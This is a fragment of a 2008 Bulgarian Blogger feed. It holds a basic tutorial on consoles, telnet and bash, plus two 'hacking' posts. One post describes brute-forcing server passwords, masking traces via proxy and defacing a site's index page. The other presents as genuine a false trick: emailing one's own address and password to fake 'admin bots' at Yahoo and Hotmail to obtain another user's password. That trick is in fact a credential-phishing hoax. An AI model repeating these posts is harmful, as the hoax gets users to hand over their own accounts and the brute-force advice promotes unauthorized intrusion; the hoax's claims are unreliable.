=6d =97 =ea =54&lt;br /&gt;? =0a =a5 =72 =99 =6c =96 =eb =55&lt;br /&gt;/ =1a =b5 =62 =89 =7c =86 =fb =45&lt;br /&gt;\ =69 =c6 =11 =fa =0f =f5 =88 =36&lt;br /&gt;| =49 =e6 =31 =da =2f =d5 =a8 =16</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/561276362003773146/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/561276362003773146' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/561276362003773146'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/561276362003773146'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/this-table-is-for-converting-ms-window.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-4955756366415154356</id><published>2008-02-28T07:00:00.003-08:00</published><updated>2008-02-28T07:00:46.127-08:00</updated><title type='text'></title><content type='html'>Конзола, терминал, telnet и шел &lt;br /&gt;• Конзола &lt;br /&gt;• Терминал &lt;br /&gt;• telnet &lt;br /&gt;• Шел &lt;br /&gt;• BASH шел &lt;br /&gt;Тази част разглежда няколко основни терминологични понятия, които се в същината на всяка UNIXTM и Linux система. За някои от тях има теоретични спорове, за други няма общоприети дефиниции и те често се използват интуитивно. Не искам текста по-долу да се приема като дефиниционен - това е моето тълкувание на тези понятия.&lt;br /&gt;Конзола&lt;br /&gt;Терминът е исторически. Идва от времето, когато компютрите са заемали огромни помещения и в средата на залата е имало един терминал, на който са излизали системните съобщения и на който можел да седне администратора или да се намеси при определена ситуация. Сега може би най-точната дефиниция е, че на конзолата излизат системните съобщения. Често се казва, че root-а или системния администратор работят на конзолата, обикновено се визира работното място. Това строго погледнато не е много точно, но не може и да се твърди, че е погрешно. Друга съвсем некоректна употреба на понятието е, че когато не използваме графична среда работим на конзола. Съществува и приложение X конзола, която може да прихване конзолата - т.е. системните съобщения.&lt;br /&gt;Съществува още едно понятие т. нар. виртуална конзола - това са (обикновено) шестте терминални прозореца, които превключвате с клавишните комбинации Alt+F1 до F6. Струва ми се, че по-доброто название е виртуални терминали. Обърнете внимание, че системните съобщения излизат на първа &quot;виртуална конзола&quot; дори и никой да не е log-нат в системата. &lt;br /&gt;Терминал&lt;br /&gt;Терминал е интерфейса, който стои между шела (обвивката) и потребителя. Названието също е историческо. Терминал се нарича работното място на потребителя. Това може да бъде нормален компютър или само (много грубо казано) монитор с клавиатура. Много популярни терминали са DASI 300, Tektronix 401X, HP2645A и др. Това като хардуерно понятие. Когато говорим за терминал обаче в общия случай трябва да си представяте не хардуер, а именно програма, която по някакъв начин подпомага шела да комуникира с вас - седящия пред клавиатурата.&lt;br /&gt;Telnet&lt;br /&gt;Командата telnet позволява да остановите връзка с отдалечена система по telnet протокол. След логическо включване към тази система вие можете да използвате ресурсите и така, както и ако стояхте пред неин терминал. Протоколът telnet осигурява двустранната комуникация между двете системи по TCP/IP. Telnet протокола се описва от RFC 854 и RFC 855 (RFC-Request for Comment са стандартизационните документи на всички протоколи върху TCP/IP, т.е. за всичко в Интернет. Публикуват се от консултантската група за създаване на Интернет стандарти Internet Architecture Board - IAB).&lt;br /&gt;Как можем да направим telnet до отдалечена машина? Първото необходимо условие е да бъдем потребители на тази машина, в противен случай не, че няма да можем да направим telnet, но няма да можем да се включим логически към системата, което обезсмисля опитите ни. Второто е да знаем името на машината (или нейният IP адрес). Да допуснем, че сме потребители на машината grex.cyberspace.org, която има IP адрес 204.212.46.130. Всичко, което трябва да направим е следното:&lt;br /&gt;telnet grex.cyberspace.org&lt;br /&gt;или&lt;br /&gt;telnet 204.212.46.130&lt;br /&gt;След осъществяване на връзката ще получите login-промпт, подканящ ви да въведете потребителското си име, а след това и паролата.&lt;br /&gt;Ако нямате account в друга машина можете да пробвате telnet и до своята собствена. Просто напишете &lt;br /&gt;telnet 127.0.0.1&lt;br /&gt;и ще видите познатия ви login-промпт на своята собствена машина. IP адресът 127.0.0.1 е специален - нарича се loopback и сочи към вашата система.&lt;br /&gt;Можете да направите telnet и до порт, различен от стандартния за telnet протокол. Ако например напишете&lt;br /&gt;telnet 127.0.0.1:80&lt;br /&gt;всъщност изпращате заявка към порт 80, където обичайно &quot;подслушва&quot; вашият web-сървър Apache, ако разбира се сте си го инсталирали. Е - той обикновено отказва telnet сесията.&lt;br /&gt;Шел&lt;br /&gt;Ядрото на операционната система комуникира с вас благодарение на обвивката си, английският термин, за която е шел (shell). Това всъщност представлява програма, която се нарича още и команден интерпретатор. Тя чете въведените редове от терминала и изпълнява различни операции в зависимост от това, какво е въведено. Обвивката се опитва да преобразува въвежданите конструкции в инструкции, които ядрото е в състояние да разбере.&lt;br /&gt;Всеки потребител при логическото си включване в системата стартира свое копие на шел в паметта. Това се прави за да може той да работи без да пречи на останалите потребители на системата.&lt;br /&gt;Обвивката възприема всичко до първия интервал като команда, а всичко останало като аргументи на командата. Аргументите също се разделят с интервал.&lt;br /&gt;Повечето версии на Linux позволяват на потребителя да променя своя шел с командата chsh или passwd -s. Когато подавате такава команда Linux търси файла /etc/shells. Само тези команди, които съществуват в този файл ще бъдат изпълнени. Това е направено от съображения за сигурност. Разбира се този файл трябва да не може да бъде редактиран от обикновените потребители.&lt;br /&gt;Можете да проверите кои са възможните обвивки с командата:&lt;br /&gt;chsh -l&lt;br /&gt;Някои версии не поддържат опцията -l на командата chsh и в този случай ще трябва да погледнете направо във файла /etc/shells. Ето съдържанието на един примерен /etc/shells файл:&lt;br /&gt;/bin/bash&lt;br /&gt;/bin/sh&lt;br /&gt;/bin/ash&lt;br /&gt;/bin/bsh&lt;br /&gt;/bin/tcsh&lt;br /&gt;/bin/csh&lt;br /&gt;/bin/bash2&lt;br /&gt;BASH шел&lt;br /&gt;Шелът по подразбиране в Linux се нарича bash - това е абревиатура от Bourne Again Shell, създаден от Free Software Foundation и както личи от името е имал за база Bourne shell от UNIXTM.&lt;br /&gt;По какво можете да познаете, че bash е стартиран и очаква вашите команди - ако сте root вашият промпт е #, a ako сте &quot;простосмъртен&quot; потребител той е $. Това е само за да ви напомня значимостта на командите, които подавате, но не означава, че root стартира по-различно копие на bash от това на всички останали потребители.&lt;br /&gt;Всяка обвивка (обкръжение) има свои променливи на обкръжението. Техните стойности се установяват от командния интерпретатор при стартирането му и имат различни стойности за различните потребители. Ето ви още една причина за всеки потребител да се стартира отделно копие на интерпретатора. Стойностите на тези променливи могат да се променят в процеса на работа.&lt;br /&gt;Например ако не ви харесва знака $ за промпт достатъчно е да смените променливата на обкръжението PS1.</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/4955756366415154356/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/4955756366415154356' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/4955756366415154356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/4955756366415154356'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/telnet-telnet-bash-unixtm-linux.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-4694356472920829133</id><published>2008-02-28T07:00:00.001-08:00</published><updated>2008-02-28T07:00:25.512-08:00</updated><title type='text'></title><content type='html'>Хакването на сайт&lt;br /&gt;А сега ,да поговорим за хакването на сайтове.Малката голяма мечта на всеки хакер.Идеята &lt;br /&gt;е простичка-изпробване на определен брои passwords and usernames в сървъра,където е публикуван&lt;br /&gt;сайта,докато се открият истинската парола и username.(методите за изпробване на passwords and&lt;br /&gt;usernames са обяснени в рубриката crackers)Оттам нататък е лесно.След като сте влезли в сървъра&lt;br /&gt;подменяте страницата с вашия проект или просто слагате index.htm ,в който пише &quot;HACKED&quot;.&lt;br /&gt;&lt;br /&gt;Сега малко суха теория.Стандартния порт за ftp server е 21,за SMTP server-25,а за&lt;br /&gt;pop3server-110.Предлаганата от мен програма има доста екстри свързани с дефинирането&lt;br /&gt;на паролите(начина на комбиниране на символите,макки-големи букви,първата изпробвана парола&lt;br /&gt;да е username и т.н.).Определяте звуците при успех (неуспех).Виждате процеса на изпробване &lt;br /&gt;на паролите ,а резултатите се оформят в красива таблица.Има и опция за използването на прокси,&lt;br /&gt;което би ви замаскирало следите.Можете да направите справка за извършените сесий ,тъй като &lt;br /&gt;резутатите се записват в history.И т.н.</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/4694356472920829133/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/4694356472920829133' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/4694356472920829133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/4694356472920829133'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/blog-post.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-663828829604338217</id><published>2008-02-28T06:59:00.006-08:00</published><updated>2008-02-28T07:00:10.817-08:00</updated><title type='text'></title><content type='html'>nТова може да стане само с безплатните услуги на Yahoo, Hotmail и Net address (а защо ли?). Ето как ства и самото хакване: Трябва да изпратите e-mail до системния &quot;бот&quot; на дадената компания: &lt;br /&gt;&lt;br /&gt;adm_bot@yahoo.com &lt;mailto:adm_bot@yahoo.com&gt;&lt;br /&gt;info-users@usa.net &lt;mailto:info-users@usa.net&gt;&lt;br /&gt;service_x@hotmail.com &lt;http://husein.50megs.com/service_x@hotmail.com&gt;&lt;br /&gt;&lt;br /&gt;1. Полето subject трябва да съдържа e-mail-a на този потребител чиято парола ни е необходима.&lt;br /&gt;2. На първия ред на писмото напишете &quot;password&quot;&quot;info&quot; &lt;br /&gt;/без кавичките естествено, на мястотo им поставете знaците &quot;&lt; и &gt;&quot;/&lt;br /&gt;3. На втория ред напишете вашия e-mail акаунт и паролата за него, за да се идентефицирате пред сървъра.&lt;br /&gt;&lt;br /&gt;КАКВО СТАВА СЪЩНОСТ?&lt;br /&gt;&lt;br /&gt;Всяка комапания си има &quot;бот&quot; (това е робот, който е създаден да отговаря на определени команди). Благодарение на тези ботове се извършват 80% от изчисленията в интернет. В случая, когато вие указвате командата password, ботът разбира че на вас ви е нужна паролата за акаунта на посочения в subject e-mail. За по голяма сигурност програмистите които са създали тези роботи изискват нещо като идентификациия, за да са сигурни, че този който задава командата има това право.&lt;br /&gt;С посочване на вашия e-mail и парола, ботът проверява дали съществува такъв потребител, и дали това е вярната парола. И ако данните съвпадат просто праща поръчаната информация на посочения от вас адрес.&lt;br /&gt;&lt;br /&gt;Aко пускате мейла напишете само това което пише по-горе. &lt;br /&gt;И не злоупотребявайте с този номер и не го пробвайте на моя e-mail за да не си правя нов.</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/663828829604338217/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/663828829604338217' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/663828829604338217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/663828829604338217'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/n-yahoo-hotmail-net-address.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>